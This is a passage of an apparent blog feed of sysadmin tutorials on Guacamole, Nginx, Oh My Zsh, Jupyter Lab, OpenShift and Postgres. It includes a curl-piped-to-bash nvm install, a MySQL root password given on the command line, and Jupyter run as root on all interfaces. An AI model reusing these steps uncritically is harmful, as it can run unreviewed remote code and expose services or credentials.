echo -e &#34;${BLUE}Running Make. This might take a few minutes...${NC}&#34;
make &amp;&gt;&gt; ${LOG}
if [ $? -ne 0 ]; then
    echo -e &#34;${RED}Failed. See ${LOG}${NC}&#34;
    exit 1
else
    echo -e &#34;${GREEN}OK${NC}&#34;
fi

echo -e &#34;${BLUE}Running Make Install...${NC}&#34;
make install &amp;&gt;&gt; ${LOG}
if [ $? -ne 0 ]; then
    echo -e &#34;${RED}Failed. See ${LOG}${NC}&#34;
    exit 1
else
    echo -e &#34;${GREEN}OK${NC}&#34;
fi

ldconfig
systemctl enable guacd
cd ..

# Get build-folder
BUILD_FOLDER=$(dpkg-architecture -qDEB_BUILD_GNU_TYPE)

# Move files to correct locations
mv guacamole-${GUACVERSION}.war /etc/guacamole/guacamole.war
ln -s /etc/guacamole/guacamole.war /var/lib/${TOMCAT}/webapps/
ln -s /usr/local/lib/freerdp/guac*.so /usr/lib/${BUILD_FOLDER}/freerdp/
ln -s /usr/share/java/mysql-connector-java.jar /etc/guacamole/lib/
cp guacamole-auth-jdbc-${GUACVERSION}/mysql/guacamole-auth-jdbc-mysql-${GUACVERSION}.jar /etc/guacamole/extensions/
cp guacamole-auth-totp-${GUACVERSION}/guacamole-auth-totp-${GUACVERSION}.jar /etc/guacamole/extensions/

# Configure guacamole.properties
rm -f /etc/guacamole/guacamole.properties
touch /etc/guacamole/guacamole.properties
echo &#34;mysql-hostname: localhost&#34; &gt;&gt; /etc/guacamole/guacamole.properties
echo &#34;mysql-port: 3306&#34; &gt;&gt; /etc/guacamole/guacamole.properties
echo &#34;mysql-database: ${DB}&#34; &gt;&gt; /etc/guacamole/guacamole.properties
echo &#34;mysql-username: ${mysqluser}&#34; &gt;&gt; /etc/guacamole/guacamole.properties
echo &#34;mysql-password: ${guacdbuserpassword}&#34; &gt;&gt; /etc/guacamole/guacamole.properties

# restart tomcat
echo -e &#34;${BLUE}Restarting tomcat...${NC}&#34;

service ${TOMCAT} restart
if [ $? -ne 0 ]; then
    echo -e &#34;${RED}Failed${NC}&#34;
    exit 1
else
    echo -e &#34;${GREEN}OK${NC}&#34;
fi

# Create guacamole_db and grant $mysqluser permissions to it

# SQL code
SQLCODE=&#34;
create database ${DB};
create user if not exists &#39;${mysqluser}&#39;@&#39;localhost&#39; identified by \&#34;${guacdbuserpassword}\&#34;;
GRANT SELECT,INSERT,UPDATE,DELETE ON guacamole_db.* TO &#39;${mysqluser}&#39;@&#39;localhost&#39;;
flush privileges;&#34;

# Execute SQL code
echo ${SQLCODE} | mysql -u root -p${mysqlrootpassword}

# Add Guacamole schema to newly created database
echo -e &#34;Adding db tables...&#34;
cat guacamole-auth-jdbc-${GUACVERSION}/mysql/schema/*.sql | mysql -u root -p${mysqlrootpassword} ${DB}
if [ $? -ne 0 ]; then
    echo -e &#34;${RED}Failed${NC}&#34;
    exit 1
else
    echo -e &#34;${GREEN}OK${NC}&#34;
fi

# Ensure guacd is started
service guacd start

# Cleanup
echo -e &#34;${BLUE}Cleanup install files...${NC}&#34;

rm -rf guacamole-*
if [ $? -ne 0 ]; then
    echo -e &#34;${RED}Failed${NC}&#34;
    exit 1
else
    echo -e &#34;${GREEN}OK${NC}&#34;
fi

echo -e &#34;${BLUE}Installation Complete\nhttp://localhost:8080/guacamole/\nDefault login guacadmin:guacadmin\nBe sure to change the password.${NC}&#34;
</code></pre><p>Give that script the execution right:</p>
<pre tabindex="0"><code>chmod +x install_guacamole.sh
</code></pre><p>Install Guacamole:</p>
<pre tabindex="0"><code>./install_guacamole.sh
</code></pre><br/>
<h2 id="configure-guacamole">Configure Guacamole</h2>
<p>Create a new user and create 2 connections (one for SSH and one for VNC).
This is very easy I do not describe this part.</p>
<p>At the end you will have this:
<img src="/images/guacamole-home.png" alt="image"></p>
<p><img src="/images/guacamole-ssh.png" alt="image"></p>
<p><img src="/images/guacamole-vnc.png" alt="image"></p>
<br/>
<h2 id="configurer-un-reverse-proxy-nginx">Configurer un reverse proxy Nginx</h2>
<p>Installer Nginx:</p>
<pre tabindex="0"><code>apt install nginx
</code></pre><p>Activer le service:</p>
<pre tabindex="0"><code>systemctl enable nginx
</code></pre><p>Générer un certificat SSL/TLS auto-signé:</p>
<pre tabindex="0"><code>openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout /etc/ssl/private/guacamole-selfsigned.key -out /etc/ssl/certs/guacamole-selfsigned.crt
</code></pre><p>Configurer Nginx. Créer le fichier <code>/etc/nginx/sites-available/nginx-guacamole-ssl</code> et ajoutez le contenu suivant:</p>
<pre tabindex="0"><code>server {
	listen 80;
	server_name guacamole.example.com;
	return 301 https://$host$request_uri;
}
server {
	listen 443 ssl;
	server_name guacamole.example.com;

	root /var/www/html;

	index index.html index.htm index.nginx-debian.html;
    
    	ssl_certificate /etc/ssl/certs/guacamole-selfsigned.crt;
	ssl_certificate_key /etc/ssl/private/guacamole-selfsigned.key;

	ssl_protocols TLSv1.2 TLSv1.3;
	ssl_prefer_server_ciphers on; 
	ssl_dhparam /etc/nginx/dhparam.pem;
	ssl_ciphers ECDHE-RSA-AES256-GCM-SHA512:DHE-RSA-AES256-GCM-SHA512:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-SHA384;
	ssl_ecdh_curve secp384r1;
	ssl_session_timeout  10m;
	ssl_session_cache shared:SSL:10m;
	resolver 192.168.42.129 8.8.8.8 valid=300s;
	resolver_timeout 5s; 
	add_header Strict-Transport-Security &#34;max-age=63072000; includeSubDomains; preload&#34;;
	add_header X-Frame-Options DENY;
	add_header X-Content-Type-Options nosniff;
	add_header X-XSS-Protection &#34;1; mode=block&#34;;

	access_log  /var/log/nginx/guac_access.log;
	error_log  /var/log/nginx/guac_error.log;

	location / {
		    proxy_pass http://guacamole.example.com:8080/guacamole/;
		    proxy_buffering off;
		    proxy_http_version 1.1;
		    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
		    proxy_set_header Upgrade $http_upgrade;
		    proxy_set_header Connection $http_connection;
		    proxy_cookie_path /guacamole/ /;
	}

}
</code></pre><p>Générer un certificat Deffie-Hellman pour avoir une clé d&rsquo;échange. Le flag <code>-dsaparam</code> est ajouté pour accélérer la génération:</p>
<pre tabindex="0"><code>openssl dhparam -dsaparam -out /etc/nginx/dhparam.pem 4096
</code></pre><p>Activer la configuration Nginx:</p>
<pre tabindex="0"><code>ln -s /etc/nginx/sites-available/nginx-guacamole-ssl /etc/nginx/sites-enabled/
</code></pre><p>Vérifier la bonne configuration:</p>
<pre tabindex="0"><code>nginx -t
 nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
 nginx: configuration file /etc/nginx/nginx.conf test is successful
</code></pre><p>Restart Nginx:</p>
<pre tabindex="0"><code>systemctl restart nginx
</code></pre><br/>
<h2 id="troubleshooting">Troubleshooting</h2>
<p><strong>Accéder à VNC via le réseau local</strong></p>
<p>Editer le fichier <code>/etc/systemd/system/vncserver@.service</code> et ajouter l&rsquo;option <code>-localhost no</code> au démarrage du service <code>ExecStart=/usr/bin/vncserver -localhost no ...</code>.</p>
<blockquote>
<p>Utiliser le port 5900 ou 5901</p></blockquote>
]]></content>
        </item>
        
        <item>
            <title>Install ohmyzsh on Ubuntu 18.04</title>
            <link>https://leandeep.com/install-ohmyzsh-on-ubuntu-18.04/</link>
            <pubDate>Fri, 05 Jul 2019 12:14:00 +0000</pubDate>
            
            <guid>https://leandeep.com/install-ohmyzsh-on-ubuntu-18.04/</guid>
            <description>&lt;p&gt;We are going to assume that nothing is installed on your Ubuntu. When I created this tutorial I installed ohmyzsh on a brand new Intel Nuc.&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;install-zsh&#34;&gt;Install Zsh&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get update
sudo apt-get install -y zsh
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;install-the-custom-fonts&#34;&gt;Install the custom fonts&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get install -y powerline fonts-powerline
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;install-git&#34;&gt;Install Git&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get install -y git
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;install-ohmyzsh&#34;&gt;Install ohmyzsh&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;git clone https://github.com/robbyrussell/oh-my-zsh.git ~/.oh-my-zsh
cp ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;install-custom-theme&#34;&gt;Install custom theme&lt;/h2&gt;
&lt;p&gt;Inside the ~/.zshrc file comment the line &lt;code&gt;ZSH_THEME=&amp;quot;robbyrussell&amp;quot;&lt;/code&gt; and add this new line just below &lt;code&gt;ZSH_THEME=&amp;quot;agnoster&amp;quot;&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>We are going to assume that nothing is installed on your Ubuntu. When I created this tutorial I installed ohmyzsh on a brand new Intel Nuc.</p>
<br/>
<h2 id="install-zsh">Install Zsh</h2>
<pre tabindex="0"><code>sudo apt-get update
sudo apt-get install -y zsh
</code></pre><br/>
<h2 id="install-the-custom-fonts">Install the custom fonts</h2>
<pre tabindex="0"><code>sudo apt-get install -y powerline fonts-powerline
</code></pre><br/>
<h2 id="install-git">Install Git</h2>
<pre tabindex="0"><code>sudo apt-get install -y git
</code></pre><br/>
<h2 id="install-ohmyzsh">Install ohmyzsh</h2>
<pre tabindex="0"><code>git clone https://github.com/robbyrussell/oh-my-zsh.git ~/.oh-my-zsh
cp ~/.oh-my-zsh/templates/zshrc.zsh-template ~/.zshrc
</code></pre><br/>
<h2 id="install-custom-theme">Install custom theme</h2>
<p>Inside the ~/.zshrc file comment the line <code>ZSH_THEME=&quot;robbyrussell&quot;</code> and add this new line just below <code>ZSH_THEME=&quot;agnoster&quot;</code>.</p>
<br/>
<h2 id="change-the-default-shell">Change the default shell</h2>
<pre tabindex="0"><code>chsh -s /bin/zsh
</code></pre><blockquote>
<p>Note: You can still revert and go back to bash using the command <code>chsh -s /bin/bash </code>.</p></blockquote>
<br/>
<h2 id="plugin-installation">Plugin installation</h2>
<p>In case you want syntax highlighting you can install this plugin:</p>
<pre tabindex="0"><code>git clone https://github.com/zsh-users/zsh-syntax-highlighting.git &#34;$HOME/.zsh-syntax-highlighting&#34; --depth 1

echo &#34;source $HOME/.zsh-syntax-highlighting/zsh-syntax-highlighting.zsh&#34; &gt;&gt; &#34;$HOME/.zshrc&#34;
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Install Jupyter Lab on Ubuntu 18.04</title>
            <link>https://leandeep.com/install-jupyter-lab-on-ubuntu-18.04/</link>
            <pubDate>Fri, 05 Jul 2019 12:10:32 +0000</pubDate>
            
            <guid>https://leandeep.com/install-jupyter-lab-on-ubuntu-18.04/</guid>
            <description>&lt;p&gt;In this tutorial we are going to see how to install Jupyter lab.
More on this tool here: &lt;a href=&#34;https://jupyterlab.readthedocs.io/en/stable/&#34;&gt;https://jupyterlab.readthedocs.io/en/stable/&lt;/a&gt;&lt;/p&gt;
&lt;br/&gt;
&lt;h2 id=&#34;install-nodejs&#34;&gt;Install NodeJS&lt;/h2&gt;
&lt;p&gt;We are going to install NVM (Node Version Manager) to manage the install NodeJS
version.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;sudo apt-get update
sudo apt-get install -y curl
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.34.0/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Add the following commands in your &lt;code&gt;~/.zshrc&lt;/code&gt; file:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;export NVM_DIR=&amp;#34;$HOME/.nvm&amp;#34;
[ -s &amp;#34;$NVM_DIR/nvm.sh&amp;#34; ] &amp;amp;&amp;amp; \. &amp;#34;$NVM_DIR/nvm.sh&amp;#34;  # This loads nvm
[ -s &amp;#34;$NVM_DIR/bash_completion&amp;#34; ] &amp;amp;&amp;amp; \. &amp;#34;$NVM_DIR/bash_completion&amp;#34;  # This loads nvm bash_completion
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Once it is done do not forget to reload your terminal with &lt;code&gt;source ~/.zshrc&lt;/code&gt;.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>In this tutorial we are going to see how to install Jupyter lab.
More on this tool here: <a href="https://jupyterlab.readthedocs.io/en/stable/">https://jupyterlab.readthedocs.io/en/stable/</a></p>
<br/>
<h2 id="install-nodejs">Install NodeJS</h2>
<p>We are going to install NVM (Node Version Manager) to manage the install NodeJS
version.</p>
<pre tabindex="0"><code>sudo apt-get update
sudo apt-get install -y curl
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.34.0/install.sh | bash
</code></pre><p>Add the following commands in your <code>~/.zshrc</code> file:</p>
<pre tabindex="0"><code>export NVM_DIR=&#34;$HOME/.nvm&#34;
[ -s &#34;$NVM_DIR/nvm.sh&#34; ] &amp;&amp; \. &#34;$NVM_DIR/nvm.sh&#34;  # This loads nvm
[ -s &#34;$NVM_DIR/bash_completion&#34; ] &amp;&amp; \. &#34;$NVM_DIR/bash_completion&#34;  # This loads nvm bash_completion
</code></pre><p>Once it is done do not forget to reload your terminal with <code>source ~/.zshrc</code>.</p>
<p>Then install the lastest LTS NodeJS version:</p>
<pre tabindex="0"><code>nvm ls-remote
# Determine the latest LTS. For me it is v10.16.0 when I am writing this tutorial
nvm install v10.16.0
nvm use default v10.16.0
</code></pre><br/>
<p><strong>Install python 3</strong></p>
<pre tabindex="0"><code>sudo apt-get update
sudo apt-get install python3
sudo apt-get install python3-pip
</code></pre><br/>
<p><strong>Install jupyterlab</strong></p>
<pre tabindex="0"><code>pip3 install jupyterlab
</code></pre><p>If you are using ohmyzsh (and you should !) edit your <code>~/.zshrc</code> file and add the line at the end <code>export PATH=$PATH:~/.local/bin/</code>. Then execute <code>source ~/.zshrc</code>.</p>
<br/>
<p><strong>Verify jupyterlab works</strong></p>
<pre tabindex="0"><code>jupyter lab --allow-root --ip=0.0.0.0 --no-browser
</code></pre><br/>
<p><strong>Install extensions hub</strong></p>
<blockquote>
<p>Kill the previously launched server with Ctrl-c</p></blockquote>
<pre tabindex="0"><code>jupyter labextension install @jupyterlab/hub-extension
jupyter lab build
jupyter lab --allow-root --ip=0.0.0.0 --no-browser
</code></pre><p>Go to &ldquo;Settings&rdquo; &ndash;&gt; &ldquo;Enable Extensions manager (Experimental) to enable the extensions manager.
If you click on the extensions icon that appear on the left menu you should see all available extensions to install.</p>
<br/>
<p><strong>Make Jupyterlab a service</strong></p>
<p>Generate a config file:</p>
<pre tabindex="0"><code>jupyter-lab --generate-config
</code></pre><p>Create a working directory:</p>
<pre tabindex="0"><code>mkdir -p /home/$USER/Dev/jupyterlab
export WorkingDirectory=/home/$USER/Dev/jupyterlab
</code></pre><p>Generate Service file:</p>
<pre tabindex="0"><code>cat &lt;&lt; EOF | sudo tee /etc/systemd/system/jupyter-lab.service
[Unit]
Description=Jupyter Lab
[Service]
Type=simple
PIDFile=/run/jupyter.pid
ExecStart=/home/$USER/.local/bin/jupyter-lab --config=/home/$USER/.jupyter/jupyter_notebook_config.py
WorkingDirectory=$WorkingDirectory
User=$USER
Group=$USER
Restart=always
RestartSec=10
#KillMode=mixed
[Install]
WantedBy=multi-user.target
EOF
</code></pre><p>Reload systemctl daemon after creating service entry:</p>
<pre tabindex="0"><code>sudo systemctl daemon-reload
</code></pre><p>Enable Jupyter Lab service:</p>
<pre tabindex="0"><code>sudo systemctl enable jupyter-lab.service
</code></pre><p>Start the service:</p>
<pre tabindex="0"><code>sudo systemctl start jupyter-lab.service
</code></pre><p>Verify jupyterlab service is working and get access token:</p>
<pre tabindex="0"><code>sudo systemctl status jupyter-lab.service
</code></pre><br/>
<p><strong>Add custom Password</strong></p>
<p>Start a Python repl and enter the following commands:</p>
<pre tabindex="0"><code>from notebook.auth import passwd
passwd()
</code></pre><p>Copy the hashed password, uncomment the line <code>c.NotebookApp.password</code> and add the password as value.</p>
<p>Restart the service (or container).</p>
<br/>
<p><strong>Custom jupyter conf</strong></p>
<p>It is possible to custom jupyter lab conf with the following commands:</p>
<pre tabindex="0"><code># Incoming connection whitelist. tried with IP &amp; CIDR. not sure about ranges. should be comma separated if more than one.
sed -i.back &#34;s/#c.NotebookApp.allow_origin = &#39;&#39;/c.NotebookApp.allow_origin = &#39;10.1.0.0\/24&#39;/&#34; ~/.jupyter/jupyter_notebook_config.py

# Jupyter listening IP. Set to localhost if only planning on using locally.
sed -i &#34;s/#c.NotebookApp.ip = &#39;localhost&#39;/c.NotebookApp.ip = &#39;$ipAddress&#39;/&#34; ~/.jupyter/jupyter_notebook_config.py

# Whether or not to open browser on jupyter launch. If headless, or server, set to False.
sed -i &#34;s/#c.NotebookApp.open_browser = True/c.NotebookApp.open_browser = False/&#34; ~/.jupyter/jupyter_notebook_config.py

# Listening port. Change if necessary
sed -i &#34;s/#c.NotebookApp.port = 8888/c.NotebookApp.port = 8888/&#34; ~/.jupyter/jupyter_notebook_config.py

# Randomly generated token for access without user/pass
sed -i &#34;s/^#c.NotebookApp.token .*/c.NotebookApp.token = &#39;$token&#39;/&#34; ~/.jupyter/jupyter_notebook_config.py

# Trash Cleanup
sed -i &#34;s/#c.NotebookApp.cookie_secret = b&#39;&#39;/#c.NotebookApp.cookie_secret = &#39;&#39;/&#34; ~/.jupyter/jupyter_notebook_config.py
sed -i &#34;s/#c.Session.key = b&#39;&#39;/#c.Session.key = &#39;&#39;/&#34; ~/.jupyter/jupyter_notebook_config.py
sed -i &#34;s/#c.NotebookNotary.secret = b&#39;&#39;/#c.NotebookNotary.secret = &#39;&#39;/&#34; ~/.jupyter/jupyter_notebook_config.py
</code></pre><br/>
<p>Have fun !</p>
]]></content>
        </item>
        
        <item>
            <title>Convertir tous les fichiers epub d&#39;un répertoire en mobi</title>
            <link>https://leandeep.com/convertir-tous-les-fichiers-epub-dun-r%C3%A9pertoire-en-mobi/</link>
            <pubDate>Thu, 27 Jun 2019 23:00:00 +0000</pubDate>
            
            <guid>https://leandeep.com/convertir-tous-les-fichiers-epub-dun-r%C3%A9pertoire-en-mobi/</guid>
            <description>&lt;p&gt;Voici la commande pour convertir tous les fichiers epub d&amp;rsquo;un répertoire en fichiers mobi.&lt;/p&gt;
&lt;p&gt;En pré-requis, il faut installer le logiciel calibre.&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Pour Linux
apt-get install calibre

# Pour OSX
brew cask install calibre
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;p&gt;Ensuite, on peut utiliser le script suivant:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;for book in *.epub; do echo &amp;#34;Converting $book&amp;#34;; ebook-convert &amp;#34;$book&amp;#34; &amp;#34;$(basename &amp;#34;$book&amp;#34; .epub).mobi&amp;#34;; done
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<p>Voici la commande pour convertir tous les fichiers epub d&rsquo;un répertoire en fichiers mobi.</p>
<p>En pré-requis, il faut installer le logiciel calibre.</p>
<pre tabindex="0"><code># Pour Linux
apt-get install calibre

# Pour OSX
brew cask install calibre
</code></pre><br/>
<p>Ensuite, on peut utiliser le script suivant:</p>
<pre tabindex="0"><code>for book in *.epub; do echo &#34;Converting $book&#34;; ebook-convert &#34;$book&#34; &#34;$(basename &#34;$book&#34; .epub).mobi&#34;; done
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Commandes custom utiles Openshift</title>
            <link>https://leandeep.com/commandes-custom-utiles-openshift/</link>
            <pubDate>Tue, 25 Jun 2019 09:43:00 +0000</pubDate>
            
            <guid>https://leandeep.com/commandes-custom-utiles-openshift/</guid>
            <description>&lt;h2 id=&#34;lister-les-utilisateurs-ayant-le-rôle-cluster-admin&#34;&gt;Lister les utilisateurs ayant le rôle cluster-admin&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;A partir de 3.9&lt;/em&gt;:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;oc get clusterrolebinding -o json | jq &amp;#39;.items[] | select(.metadata.name |  startswith(&amp;#34;cluster-admin&amp;#34;)) | .userNames&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;ajouter-un-rôle-cluster-à-un-utilisateur&#34;&gt;Ajouter un rôle cluster à un utilisateur&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;oc adm policy add-cluster-role-to-user &amp;lt;cluster-role&amp;gt; &amp;lt;user&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;retirer-un-rôle-cluster-à-un-utilisateur&#34;&gt;Retirer un rôle cluster à un utilisateur&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;oc adm policy remove-cluster-role-from-user &amp;lt;cluster-role&amp;gt; &amp;lt;user&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;lister-les-pods-en-erreur-ou-nayant-pas-le-status-running&#34;&gt;Lister les pods en erreur (ou n&amp;rsquo;ayant pas le status Running)&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;oc get pods --all-namespaces | awk &amp;#39;!/Running/ {print}&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;lister-les-pods-en-erreur-par-namespace&#34;&gt;Lister les pods en erreur par namespace&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;oc get pods --all-namespaces | awk &amp;#39;!/Running/ {print}&amp;#39; | awk &amp;#39;NR&amp;gt;1{arr[$1]++}END{for (a in arr) print a, arr[a]}&amp;#39; | sort -nrk2
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;ne-garder-que-2-déploiements&#34;&gt;Ne garder que 2 déploiements&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;oc adm prune deployments --orphans --keep-failed=2 --keep-complete=2  --confirm
&lt;/code&gt;&lt;/pre&gt;&lt;br/&gt;
&lt;h2 id=&#34;ne-garder-que-2-builds&#34;&gt;Ne garder que 2 builds&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;oc adm prune builds --orphans --keep-failed=2 --keep-complete=2  --confirm
&lt;/code&gt;&lt;/pre&gt;</description>
            <content type="html"><![CDATA[<h2 id="lister-les-utilisateurs-ayant-le-rôle-cluster-admin">Lister les utilisateurs ayant le rôle cluster-admin</h2>
<p><em>A partir de 3.9</em>:</p>
<pre tabindex="0"><code>oc get clusterrolebinding -o json | jq &#39;.items[] | select(.metadata.name |  startswith(&#34;cluster-admin&#34;)) | .userNames&#39;
</code></pre><br/>
<h2 id="ajouter-un-rôle-cluster-à-un-utilisateur">Ajouter un rôle cluster à un utilisateur</h2>
<pre tabindex="0"><code>oc adm policy add-cluster-role-to-user &lt;cluster-role&gt; &lt;user&gt;
</code></pre><br/>
<h2 id="retirer-un-rôle-cluster-à-un-utilisateur">Retirer un rôle cluster à un utilisateur</h2>
<pre tabindex="0"><code>oc adm policy remove-cluster-role-from-user &lt;cluster-role&gt; &lt;user&gt;
</code></pre><br/>
<h2 id="lister-les-pods-en-erreur-ou-nayant-pas-le-status-running">Lister les pods en erreur (ou n&rsquo;ayant pas le status Running)</h2>
<pre tabindex="0"><code>oc get pods --all-namespaces | awk &#39;!/Running/ {print}&#39;
</code></pre><br/>
<h2 id="lister-les-pods-en-erreur-par-namespace">Lister les pods en erreur par namespace</h2>
<pre tabindex="0"><code>oc get pods --all-namespaces | awk &#39;!/Running/ {print}&#39; | awk &#39;NR&gt;1{arr[$1]++}END{for (a in arr) print a, arr[a]}&#39; | sort -nrk2
</code></pre><br/>
<h2 id="ne-garder-que-2-déploiements">Ne garder que 2 déploiements</h2>
<pre tabindex="0"><code>oc adm prune deployments --orphans --keep-failed=2 --keep-complete=2  --confirm
</code></pre><br/>
<h2 id="ne-garder-que-2-builds">Ne garder que 2 builds</h2>
<pre tabindex="0"><code>oc adm prune builds --orphans --keep-failed=2 --keep-complete=2  --confirm
</code></pre>]]></content>
        </item>
        
        <item>
            <title>Useful Postgres commands</title>
            <link>https://leandeep.com/useful-postgres-commands/</link>
            <pubDate>Fri, 21 Jun 2019 19:43:00 +0000</pubDate>
            
            <guid>https://leandeep.com/useful-postgres-commands/</guid>
            <description>&lt;p&gt;Here is a list of Postgres basic commands:&lt;/p&gt;
&lt;h2 id=&#34;basics&#34;&gt;Basics&lt;/h2&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;\? list all the commands
\l list databases
\conninfo display information about current connection
\c [DBNAME] connect to new database, e.g., \c template1
\dt (list tables of the public schema)
\dt &amp;lt;schema-name&amp;gt;.* list tables of certain schema, e.g., \dt public.*
\dt *.* list tables of all schemas
Then you can run SQL statements, e.g., SELECT * FROM my_table;(Note: a statement must be terminated with semicolon ;)
\d table (Describe table structure)
\q (quit psql)
\i path/to/file.sql (Import data)
\copy (SELECT * FROM utilisateurs) TO &amp;#39;path/to/file.csv&amp;#39; WITH CSV HEADER; (export data)
SET search_path TO myschema; (Select schema)
SHOW search_path; (See selected schema)
\dn (list schemas OR &amp;#34;SELECT schema_name FROM information_schema.schemata;&amp;#34;)
&lt;/code&gt;&lt;/pre&gt;&lt;blockquote&gt;
&lt;p&gt;I recommand the usage of pgadmin4 to manage your Postgres Databases.&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Here is a list of Postgres basic commands:</p>
<h2 id="basics">Basics</h2>
<pre tabindex="0"><code>\? list all the commands
\l list databases
\conninfo display information about current connection
\c [DBNAME] connect to new database, e.g., \c template1
\dt (list tables of the public schema)
\dt &lt;schema-name&gt;.* list tables of certain schema, e.g., \dt public.*
\dt *.* list tables of all schemas
Then you can run SQL statements, e.g., SELECT * FROM my_table;(Note: a statement must be terminated with semicolon ;)
\d table (Describe table structure)
\q (quit psql)
\i path/to/file.sql (Import data)
\copy (SELECT * FROM utilisateurs) TO &#39;path/to/file.csv&#39; WITH CSV HEADER; (export data)
SET search_path TO myschema; (Select schema)
SHOW search_path; (See selected schema)
\dn (list schemas OR &#34;SELECT schema_name FROM information_schema.schemata;&#34;)
</code></pre><blockquote>
<p>I recommand the usage of pgadmin4 to manage your Postgres Databases.</p></blockquote>
<br/>
<h2 id="install-psql-client">Install PSQL Client</h2>
<p><strong>On ubuntu</strong></p>
<pre tabindex="0"><code>apt-get update
apt-get install -y postgresql-client
</code></pre><br/>
<h2 id="database">Database</h2>
<p><strong>Connect to specific local DB</strong></p>
<pre tabindex="0"><code>psql your_db your_username
</code></pre><br/>
<p><strong>Connect to remote DB</strong></p>
<pre tabindex="0"><code>psql -h DB_HOST -p DB_PORT DB_NAME DB_USER
</code></pre><br/>
<p><strong>Dump DB</strong></p>
<pre tabindex="0"><code>pg_dump -Fc my_db &gt; /tmp/db.dump

# restore
# pg_restore -d new_db /tmp/db.dump
</code></pre><br/>
<p><strong>Restore DB:</strong></p>
<pre tabindex="0"><code>pg_restore path_to_backup_file.backup --dbname=your_db --username=your_username --clean

# -d &lt;=&gt; --dbname
# -U &lt;=&gt; --username
# --clean = clean (drop) database objects before recreating
</code></pre><br/>
<p><strong>Create a DB with a particular role:</strong></p>
<pre tabindex="0"><code>CREATE DATABASE your_db
    WITH 
    OWNER = postgres
    ENCODING = &#39;UTF8&#39;
    CONNECTION LIMIT = -1;
</code></pre><br/>
<p><strong>Drop DB:</strong></p>
<pre tabindex="0"><code>drop database your_db;
</code></pre><br/>
<p><strong>Close all sessions:</strong></p>
<pre tabindex="0"><code>SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname = &#39;you_db&#39;;
</code></pre><br/>
<p><strong>Truncate all tables from DB</strong></p>
<p><em>(It is as if you remove the data but keep the schema.)</em></p>
<pre tabindex="0"><code># Create Schema dump of database (schema-only)
pg_dump your_db -s &gt; schema.sql

# Drop database
drop database your_db;

# Create Database
create database your_db;

4) Import Schema
psql your_db &lt; schema.sql
</code></pre><blockquote>
<p>In case you want to create a script can execute SQL commands the Terminal using the -c flag: <code>$ psql -c &quot;YOUR SQL QUERY;&quot;</code></p></blockquote>
<br/>
<h2 id="roles-vs-users-vs-groups">Roles vs Users vs Groups</h2>
<blockquote>
<p>&ldquo;CREATE ROLE&rdquo;, &ldquo;CREATE USER&rdquo;, and &ldquo;CREATE GROUP&rdquo; were different couple of years ago. Since group management has changed these 3 commands are (almost) the same. They all still exist for the sake of compatibility.
There is all the same a slight difference between for example &ldquo;CREATE ROLE&rdquo; and &ldquo;CREATE USER&rdquo;. &ldquo;CREATE ROLE&rdquo; will create a default user that cannot login (NOLOGIN), even though &ldquo;CREATE USER&rdquo; will create a user with the LOGIN attribute. .</p></blockquote>
<br/>
<h2 id="roles">Roles</h2>
<p><strong>List roles:</strong></p>
<pre tabindex="0"><code>\du

# or 

SELECT
   rolname
FROM
   pg_roles;
</code></pre><br/>
<p><strong>Create a role:</strong></p>
<pre tabindex="0"><code>create role your_role
</code></pre><br/>
